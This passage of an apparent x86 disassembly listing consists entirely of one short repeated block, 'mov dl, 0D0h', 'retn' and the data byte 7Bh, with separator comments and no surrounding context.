; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
